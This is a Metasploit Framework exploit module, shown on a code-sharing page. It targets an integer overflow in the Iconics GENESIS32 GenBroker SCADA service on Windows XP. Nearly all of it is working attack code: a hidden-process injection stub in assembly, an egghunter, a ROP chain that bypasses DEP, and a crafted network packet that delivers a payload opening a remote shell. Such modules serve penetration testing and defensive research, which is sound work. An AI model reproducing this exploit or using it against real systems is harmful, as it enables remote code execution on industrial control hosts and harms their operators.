Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/iconics_genbroker.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Egghunter
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Iconics GENESIS32 Integer Overflow Version 9.21.201.01",
17
'Description' => %q{
18
The GenBroker service on port 38080 is affected by three integer overflow
19
vulnerabilities while handling opcode 0x4b0, which is caused by abusing the
20
the memory allocations needed for the number of elements passed by the client.
21
This results unexpected behaviors such as direct registry calls, memory location
22
calls, or arbitrary remote code execution. Please note that in order to ensure
23
reliability, this exploit will try to open calc (hidden), inject itself into the
24
process, and then open up a shell session. Also, DEP bypass is supported.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Luigi Auriemma', # Initial discovery, poc
29
'Lincoln', # Metasploit
30
'corelanc0d3r <peter.ve[at]corelan.be>', # Metasploit + custom migrate fu
31
],
32
'References' => [
33
['OSVDB', '72817'],
34
['URL', 'http://aluigi.org/adv/genesis_4-adv.txt'],
35
['URL', 'https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-080-02']
36
],
37
'Payload' => {
38
'BadChars' => "\x00",
39
},
40
'DefaultOptions' => {
41
'EXITFUNC' => "thread",
42
},
43
'Platform' => 'win',
44
'Targets' => [
45
[
46
'Windows XP',
47
{
48
'Ret' => "\x70\x45",
49
'Max' => 9000,
50
}
51
],
52
],
53
'Privileged' => false,
54
'DisclosureDate' => '2011-03-21',
55
'DefaultTarget' => 0,
56
'Notes' => {
57
'Reliability' => UNKNOWN_RELIABILITY,
58
'Stability' => UNKNOWN_STABILITY,
59
'SideEffects' => UNKNOWN_SIDE_EFFECTS
60
}
61
)
62
)
63
64
register_options(
65
[
66
Opt::RPORT(38080)
67
]
68
)
69
end
70
71
def exploit
72
migrate_asm = %Q|
73
add esp,-500 ; adjust the stack to be sure
74
pushad ; save stuff
75
76
find_kernel32: ;find kernel32
77
push esi ; Save esi
78
xor esi, esi ; Zero esi
79
mov eax, fs:[esi + 0x4] ; Extract TEB
80
mov eax, [eax - 0x1c]
81
find_kernel32_base:
82
find_kernel32_base_loop:
83
dec eax ; Subtract to our next page
84
xor ax, ax ; Zero the lower half
85
cmp word [eax], 0x5a4d ; Is this the top of kernel32?
86
jne find_kernel32_base_loop ; Nope? Try again.
87
find_kernel32_base_finished:
88
pop esi ; Restore esi
89
90
mov edx,eax ; save base of kernel32 in edx
91
92
jmp main_routine
93
94
; find function pointer
95
find_function:
96
pushad ;save all registers
97
mov ebp, [esp + 0x24] ;base address of module that is being loaded in ebp
98
mov eax, [ebp + 0x3c] ;skip over MSDOS header
99
mov edx, [ebp + eax + 0x78] ;go to export table and put RVA in edx
100
add edx, ebp ;add base address to it.
101
mov ecx, [edx + 0x18] ;set up counter ECX (how many exported items are in array ?)
102
103
mov ebx, [edx + 0x20] ;put names table relative offset in ebx
104
add ebx, ebp ;add base address to it (ebx = absolute address of names table)
105
106
;(should never happen)
107
;unless function could not be found
108
find_function_loop:
109
jecxz find_function_finished ;if ecx=0, then last symbol has been checked.
110
111
dec ecx ;ecx=ecx-1
112
;with the current symbol
113
;and store offset in esi
114
mov esi, [ebx + ecx * 4] ;get relative offset of the name associated
115
add esi, ebp ;add base address (esi = absolute address of current symbol)
116
117
compute_hash:
118
xor edi, edi ;zero out edi
119
xor eax, eax ;zero out eax
120
cld ;clear direction flag.
121
122
compute_hash_again:
123
lodsb ;load bytes at esi (current symbol name) into al, + increment esi
124
test al, al ;end of string ?
125
jz compute_hash_finished ;yes
126
ror edi, 0xd ;no, rotate value of hash 13 bits to the right
127
add edi, eax ;add current character of symbol name to hash accumulator
128
jmp compute_hash_again ;continue loop
129
130
compute_hash_finished:
131
132
find_function_compare:
133
cmp edi, [esp + 0x28] ;see if computed hash matches requested hash (at esp+0x28)
134
jnz find_function_loop ;no match, go to next symbol
135
mov ebx, [edx + 0x24] ;if match : extract ordinals table (relative offset and put in ebx)
136
add ebx, ebp ;add base address (ebx = absolute address of ordinals address table)
137
mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes)
138
mov ebx, [edx + 0x1c] ;get address table relative and put in ebx
139
add ebx, ebp ;add base address (ebx = absolute address of address table)
140
mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal and put in eax
141
add eax, ebp ;add base address (eax = absolute address of function address)
142
mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad (return func addr in eax)
143
144
find_function_finished: ;retrieve original registers (eax will contain function address)
145
popad
146
ret
147
148
;--------------------------------------------------------------------------------------
149
find_funcs_for_dll:
150
lodsd ;load current hash into eax (pointed to by esi)
151
push eax ;push hash to stack
152
push edx ;push base address of dll to stack
153
call find_function
154
mov [edi], eax ;write function pointer into address at edi
155
add esp, 0x08 ;adjust stack
156
add edi, 0x04 ;increase edi to store next pointer
157
cmp esi, ecx ;did we process all hashes yet ?
158
jne find_funcs_for_dll ;get next hash and lookup function pointer
159
find_funcs_for_dll_finished:
160
ret
161
162
;--------------------------------------------------------------------------------------
163
main_routine:
164
sub esp,0x1c ;allocate space on stack to store function addresses + ptr to string
165
mov ebp,esp
166
; ebp+4 : GetStartupInfo
167
; ebp+8 : CreateProcess
168
; ebp+C : VirtualAllocEx
169
; ebp+10 : WriteProcessMemory
170
; ebp+14 : CreateRemoteThread
171
; ebp+18 : Sleep
172
; ebp+1c : ptr to calc
173
174
jmp get_func_hash
175
get_func_hash_return:
176
177
pop esi ;get pointer to hashes into esi
178
;edi will be increased with 0x04 for each hash
179
lea edi, [ebp+0x4] ;we will store the function addresses at edi
180
181
mov ecx,esi
182
add ecx,0x18
183
call find_funcs_for_dll ;get function pointers for all hashes
184
185
; get our own startupinfo at esp+0x60
186
; ebp+4 = GetStartupInfo
187
mov edx,esp
188
add edx,0x60
189
push edx
190
call [ebp+0x4]
191
;ptr to startupinfo is in eax
192
193
; create a new process
194
; pointer to string is in ecx
195
; ebp+8 = CreateProcessA
196
; ptr to startupinfo is now in eax
197
; no need to patch startupinfo, target runs as a service
198
; +2c : dwFlags : set to 0x1
199
; +30 : wShowWind : set to 0 (hide)
200
201
; create the process
202
mov edi,eax
203
add edi,48
204
push edi ; lpProcessInformation : write processinfo here
205
push eax ; lpStartupInfo : current info (read)
206
push 0 ; lpCurrentDirectory
207
push 0 ; lpEnvironment
208
push 0x08000000 ; dwCreationFlags
209
push 0 ; bInHeritHandles
210
push 0
211
push 0
212
push esi ; ptr to calc
213
push 0
214
call [ebp+0x8]
215
; muahah calc ftw, now sleep a bit
216
push 0xbb8 ; 3 seconds
217
call [ebp+0x18]
218
219
; allocate memory in the process (VirtualAllocEx())
220
; get handle
221
mov ecx,[edi]
222
push 0x40 ; RWX
223
push 0x1000 ; MEM_COMMIT
224
push 0x1000 ; size
225
push 0 ; address
226
push ecx ; handle
227
call [ebp+0xc]
228
229
; eax now contains the destination
230
; WriteProcessMemory()
231
mov ecx,[edi] ; pick up handle again
232
push 0x1000 ; size
233
; pick up pointer to shellcode & push to stack
234
mov ebx,[esp+0x20]
235
add ebx,320
236
push ebx ; source
237
push eax ; destination
238
push ecx ; handle
239
call [ebp+0x10]
240
241
; run the code (CreateRemoteThread())
242
mov ecx,[edi] ; pick up handle again
243
push 0 ; lpthreadID
244
push 0 ; run immediately
245
push 0 ; no parameter
246
mov ebx,[esp-0x4]
247
push ebx ; shellcode
248
push 0x2000 ; stacksize
249
push 0 ; lpThreadAttributes
250
push ecx
251
call [ebp+0x14] ; go baby !
252
253
254
get_func_hash:
255
call get_func_hash_return
256
db 0xD7 ;GetStartupInfoA
257
db 0xE3
258
db 0x7A
259
db 0x86
260
db 0x72 ;CreateProcessA
261
db 0xfe
262
db 0xb3
263
db 0x16
264
db 0x9c ;VirtualAllocEx
265
db 0x95
266
db 0x1a
267
db 0x6e
268
db 0xa1 ;WriteProcessMemory
269
db 0x6a
270
db 0x3d
271
db 0xd8
272
db 0xdd ;CreateRemoteThread
273
db 0x9c
274
db 0xbd
275
db 0x72 ;Sleep
276
db 0xB0
277
db 0x49
278
db 0x2D
279
db 0xDB
280
281
; sneak in ptr to string too :)
282
db "calc"
283
db 0x00
284
|
285
286
migrate = Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
287
288
nops = make_nops(10) * 4
289
thepayload = migrate << nops << payload.encoded
290
291
eggoptions =
292
{
293
:eggtag => 'w00t',
294
}
295
296
hunter, egg = generate_egghunter(thepayload, "", eggoptions)
297
298
header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
299
header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
300
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
301
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"
302
303
rop_chain =
304
[
305
0x100b257b, # POP ESP # RETN
306
0x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py)
307
0x10047355, # Duplicate, readable, RETN
308
0x10047355, # POP EAX # RETN ** [GenClientU.dll]
309
0xffffffde,
310
0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]
311
0x1011e33e, # XCHG EAX,EDX # RETN
312
0x1001ab22, # POP ECX # RETN ** [GenClientU.dll]
313
0x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)
314
0x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll]
315
0x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]
316
0x10080163, # POP ESI # RETN -> EDI
317
0x41414141,
318
0x41414141,
319
0xffffffff, # NtCurrentProcess() (EBX)
320
0x7c331d24, # ptr to 0x2 -> ECX
321
0x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll]
322
0x10047355, # POP EAX # RETN ** [GenClientU.dll]
323
0xfffffffc,
324
0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]
325
0x100dda84, # PUSHAD # RETN ** [GenClientU.dll]
326
0x90908aeb, # go to egghunter
327
].pack('V*')
328
329
sploit = target['Ret'] * 180
330
sploit << [0x74757677].pack('V') * 8
331
sploit << "\x77\x77"
332
sploit << hunter # 32 byte hunter, no room for checksum
333
sploit << rop_chain
334
sploit << make_nops(28)
335
sploit << egg
336
337
sploit << rand_text_alpha(target['Max'] - sploit.length)
338
339
connect
340
print_status("Sending request. This will take a few seconds...")
341
sock.put(header + sploit)
342
343
handler
344
disconnect
345
end
346
end
347
348